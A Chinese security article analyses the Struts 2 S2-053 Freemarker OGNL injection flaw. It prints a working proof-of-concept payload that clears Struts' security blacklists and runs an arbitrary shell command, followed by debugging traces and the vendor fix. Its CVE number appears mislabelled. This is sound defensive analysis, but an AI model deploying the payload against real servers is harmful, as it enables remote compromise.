安全文库

Struts 2 S2-053漏洞分析(附POC)


漏洞概述

漏洞类型

远程代码执行漏洞

CVE-ID

CVE-2017-1000112

危害等级

高危

影响版本

Struts 2.0.1Struts 2.3.33Struts 2.5 – Struts 2.5.10

漏洞危害

当开发者在Freemarker标签中使用如下代码时<@s.hidden name=”redirectUri” value=redirectUri /><@s.hidden name=”redirectUri” value=”${redirectUri}” />Freemarker会将值当做表达式进行执行,最后导致代码执行。

poc示例

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/usr/bin/touch /tmp/vuln').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} 

poc调试

简单阅读poc后,按照惯例,将断点打在ProcessBuilder类的start()方法

//java.lang.ProcessBuilder public Process start() throws IOException {         // Must convert to array first -- a malicious user-supplied         // list might try to circumvent the security check.         String[] cmdarray = command.toArray(new String[command.size()]);         cmdarray = cmdarray.clone();         for (String arg : cmdarray)             if (arg == null)                 throw new NullPointerException();         // Throws IndexOutOfBoundsException if command is empty         String prog = cmdarray[0];         SecurityManager security = System.getSecurityManager();         if (security != null)             security.checkExec(prog);         String dir = directory == null ? null : directory.toString();         for (int i = 1; i < cmdarray.length; i++) {             if (cmdarray[i].indexOf('/u0000') >= 0) {                 throw new IOException("invalid null character in command");             }         }         try {             return ProcessImpl.start(cmdarray,                                      environment,                                      dir,                                      redirects,                                      redirectErrorStream);         } catch (IOException | IllegalArgumentException e) {             String exceptionInfo = ": " + e.getMessage();             Throwable cause = e;             if ((e instanceof IOException) && security != null) {                 // Can not disclose the fail reason for read-protected files.                 try {                     security.checkRead(prog);                 } catch (SecurityException se) {                     exceptionInfo = "";                     cause = se;                 }             }             // It's much easier for us to create a high-quality error             // message than the low-level C code which found the problem.             throw new IOException(                 "Cannot run program /"" + prog + "/""                 + (dir == null ? "" : " (in directory /"" + dir + "/")")                 + exceptionInfo,                 cause);         }     } 

进入断点,我们拿到了方法的调用栈信息

"qtp407997647-16@2296" prio=5 tid=0x10 nid=NA runnable   java.lang.Thread.State: RUNNABLE       at java.lang.ProcessBuilder.start(ProcessBuilder.java:1007)       at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)       at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)       at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)       at java.lang.reflect.Method.invoke(Method.java:498)       at ognl.OgnlRuntime.invokeMethod(OgnlRuntime.java:873)       - locked <0x1393> (a java.lang.reflect.Method)       at ognl.OgnlRuntime.callAppropriateMethod(OgnlRuntime.java:1539)       at ognl.ObjectMethodAccessor.callMethod(ObjectMethodAccessor.java:68)       at com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethodWithDebugInfo(XWorkMethodAccessor.java:96)       at com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethod(XWorkMethodAccessor.java:88)       at ognl.OgnlRuntime.callMethod(OgnlRuntime.java:1615)       at ognl.ASTMethod.getValueBody(ASTMethod.java:91)       at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212)       at ognl.SimpleNode.getValue(SimpleNode.java:258)       at ognl.ASTChain.getValueBody(ASTChain.java:141)       at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212)       at ognl.SimpleNode.getValue(SimpleNode.java:258)       at ognl.ASTAssign.getValueBody(ASTAssign.java:52)       at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212)       at ognl.SimpleNode.getValue(SimpleNode.java:258)       at ognl.ASTChain.getValueBody(ASTChain.java:141)       at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212)       at ognl.SimpleNode.getValue(SimpleNode.java:258)       at ognl.Ognl.getValue(Ognl.java:467)       at com.opensymphony.xwork2.ognl.OgnlUtil$4.execute(OgnlUtil.java:359)       at com.opensymphony.xwork2.ognl.OgnlUtil.compileAndExecute(OgnlUtil.java:382)       at com.opensymphony.xwork2.ognl.OgnlUtil.getValue(OgnlUtil.java:357)       at com.opensymphony.xwork2.ognl.OgnlValueStack.getValue(OgnlValueStack.java:360)       at com.opensymphony.xwork2.ognl.OgnlValueStack.tryFindValue(OgnlValueStack.java:348)       at com.opensymphony.xwork2.ognl.OgnlValueStack.tryFindValueWhenExpressionIsNotNull(OgnlValueStack.java:323)       at com.opensymphony.xwork2.ognl.OgnlValueStack.findValue(OgnlValueStack.java:307)       at com.opensymphony.xwork2.ognl.OgnlValueStack.findValue(OgnlValueStack.java:368)       at com.opensymphony.xwork2.util.TextParseUtil$1.evaluate(TextParseUtil.java:156)       at com.opensymphony.xwork2.util.OgnlTextParser.evaluate(OgnlTextParser.java:49)       at com.opensymphony.xwork2.util.TextParseUtil.translateVariables(TextParseUtil.java:166)       at com.opensymphony.xwork2.util.TextParseUtil.translateVariables(TextParseUtil.java:109)       at com.opensymphony.xwork2.util.TextParseUtil.translateVariables(TextParseUtil.java:82)       at org.apache.struts2.components.Component.findValue(Component.java:377)       at org.apache.struts2.components.Component.findString(Component.java:223)       at org.apache.struts2.components.URL.findString(URL.java:150)       at org.apache.struts2.components.ComponentUrlProvider.findString(ComponentUrlProvider.java:76)       at org.apache.struts2.components.ServletUrlRenderer.beforeRenderUrl(ServletUrlRenderer.java:242)       at org.apache.struts2.components.URL.start(URL.java:140)       at org.apache.struts2.views.freemarker.tags.CallbackWriter.onStart(CallbackWriter.java:73)       at freemarker.core.Environment.visitAndTransform(Environment.java:422)       at freemarker.core.UnifiedCall.accept(UnifiedCall.java:107)       at freemarker.core.Environment.visit(Environment.java:324)       at freemarker.core.MixedContent.accept(MixedContent.java:54)       at freemarker.core.Environment.visit(Environment.java:324)       at freemarker.core.Environment.process(Environment.java:302)       at freemarker.template.Template.process(Template.java:325)       at org.apache.struts2.views.freemarker.FreemarkerResult.doExecute(FreemarkerResult.java:233)       at org.apache.struts2.result.StrutsResultSupport.execute(StrutsResultSupport.java:208)       at com.opensymphony.xwork2.DefaultActionInvocation.executeResult(DefaultActionInvocation.java:373)       at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:277)       at org.apache.struts2.interceptor.debugging.DebuggingInterceptor.intercept(DebuggingInterceptor.java:253)       at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)       at com.opensymphony.xwork2.interceptor.DefaultWorkflowInterceptor.doIntercept(DefaultWorkflowInterceptor.java:177)       at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)       at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)       at com.opensymphony.xwork2.validator.ValidationInterceptor.doIntercept(ValidationInterceptor.java:260)       at org.apache.struts2.interceptor.validation.AnnotationValidationInterceptor.doIntercept(AnnotationValidationInterceptor.java:73)       at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)       at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)       at com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor.doIntercept(ConversionErrorInterceptor.java:139)       at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)       at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)       at com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:133)       at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)       at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)       at com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:133)       at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)       at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)       at com.opensymphony.xwork2.interceptor.StaticParametersInterceptor.intercept(StaticParametersInterceptor.java:192)       at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)       at org.apache.struts2.interceptor.MultiselectInterceptor.intercept(MultiselectInterceptor.java:69)       at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)       at org.apache.struts2.interceptor.DateTextFieldInterceptor.intercept(DateTextFieldInterceptor.java:115)       at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)       at org.apache.struts2.interceptor.CheckboxInterceptor.intercept(CheckboxInterceptor.java:88)       at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)       at org.apache.struts2.interceptor.FileUploadInterceptor.intercept(FileUploadInterceptor.java:248)       at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)       at com.opensymphony.xwork2.interceptor.ModelDrivenInterceptor.intercept(ModelDrivenInterceptor.java:99)       at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)       at com.opensymphony.xwork2.interceptor.ScopedModelDrivenInterceptor.intercept(ScopedModelDrivenInterceptor.java:139)       at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)       at com.opensymphony.xwork2.interceptor.ChainingInterceptor.intercept(ChainingInterceptor.java:155)       at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)       at com.opensymphony.xwork2.interceptor.PrepareInterceptor.doIntercept(PrepareInterceptor.java:174)       at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:98)       at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)       at org.apache.struts2.interceptor.I18nInterceptor.intercept(I18nInterceptor.java:120)       at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)       at org.apache.struts2.interceptor.ServletConfigInterceptor.intercept(ServletConfigInterceptor.java:171)       at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)       at com.opensymphony.xwork2.interceptor.AliasInterceptor.intercept(AliasInterceptor.java:195)       at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)       at com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor.intercept(ExceptionMappingInterceptor.java:193)       at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:247)       at org.apache.struts2.factory.StrutsActionProxy.execute(StrutsActionProxy.java:54)       at org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:564)       at org.apache.struts2.dispatcher.ExecuteOperations.executeAction(ExecuteOperations.java:81)       at org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:143) 

这个漏洞跟数量繁多的Interceptor没有什么关系,我们直接将注意力集中到freemarker渲染完成后的代码。freemarkerstruts2返回的对象仍然含有客户端传入的ognl表达式,struts2框架就这样执行了我们构造的恶意代码。

//org.apache.struts2.components.component /       Evaluates the OGNL stack to find an Object of the given type. Will evaluate       expr the portion wrapped with altSyntax (%{...})       against stack when altSyntax is on, else the whole expr       is evaluated against the stack.               This method only supports the altSyntax. So this should be set to true.       @param expr  OGNL expression.       @param toType  the type expected to find.       @return  the Object found, or null if not found.      /     protected Object findValue(String expr, Class toType) {         if (altSyntax() && toType == String.class) {             if (ComponentUtils.containsExpression(expr)) {                 return TextParseUtil.translateVariables('%', expr, stack);             } else {                 return expr;             }         } else {             expr = stripExpressionIfAltSyntax(expr);             return getStack().findValue(expr, toType, throwExceptionOnELFailure);         }     } 

看到这里,我们不禁疑惑,struts2的代码就写的这么不安全,没有对表达式做任何处理吗?其实不是的,我们看下面的代码很明显是一个黑名单机制,感兴趣的朋友可以打断点看看,示例POC里的很多类都榜上有名

//com.opensymphony.xwork2.ognl.OgnlValueStack @Inject     public void setOgnlUtil(OgnlUtil ognlUtil) {         this.ognlUtil = ognlUtil;         securityMemberAccess.setExcludedClasses(ognlUtil.getExcludedClasses());         securityMemberAccess.setExcludedPackageNamePatterns(ognlUtil.getExcludedPackageNamePatterns());         securityMemberAccess.setExcludedPackageNames(ognlUtil.getExcludedPackageNames());         securityMemberAccess.setDisallowProxyMemberAccess(ognlUtil.isDisallowProxyMemberAccess());     } 

然而,道高一尺,魔高一丈,以彼之矛攻彼之盾。我们直接把用ognl把黑名单给删了。所有的类都可以畅通无阻的构造和执行方法。

(#ognlUtil.getExcludedPackageNames().clear()) .(#ognlUtil.getExcludedClasses().clear()) 

官方修复

官方的修复方法很是巧妙,并没有去增加额外的过滤我们看一下2.5.10的代码

//com.opensymphony.xwork2.ognl.OgnlUtil     @Inject(value = XWorkConstants.OGNL_EXCLUDED_PACKAGE_NAMES, required = false)     public void setExcludedPackageNames(String commaDelimitedPackageNames) {         excludedPackageNames = TextParseUtil.commaDelimitedStringToSet(commaDelimitedPackageNames);     } 

以及2.5.12的代码

//com.opensymphony.xwork2.ognl.OgnlUtil     @Inject(value = XWorkConstants.OGNL_EXCLUDED_PACKAGE_NAMES, required = false)     public void setExcludedPackageNames(String commaDelimitedPackageNames) {         excludedPackageNames = Collections.unmodifiableSet(TextParseUtil.commaDelimitedStringToSet(commaDelimitedPackageNames));     } 

再回顾我们绕过黑名单的代码

#ognlUtil.getExcludedPackageNames().clear() 

struts2针对这种作弊的方法,将excludedPackageNames设为了UnmodifiableSet类型的对象,在这个对象上调用clear()方法,就会抛出java.lang.UnsupportedOperationException类型的异常,程序进入异常处理分支,避免了后续恶意代码的执行

总结

这个漏洞出现的条件比较苛刻,需要使用struts2freemarker,而且需要编码人员有疏漏。然而这并不会改变这是一个高危漏洞的事实。一旦网站被发现了这个漏洞,后果将是灾难性的。建议struts2使用者还是尽快升级版本。

*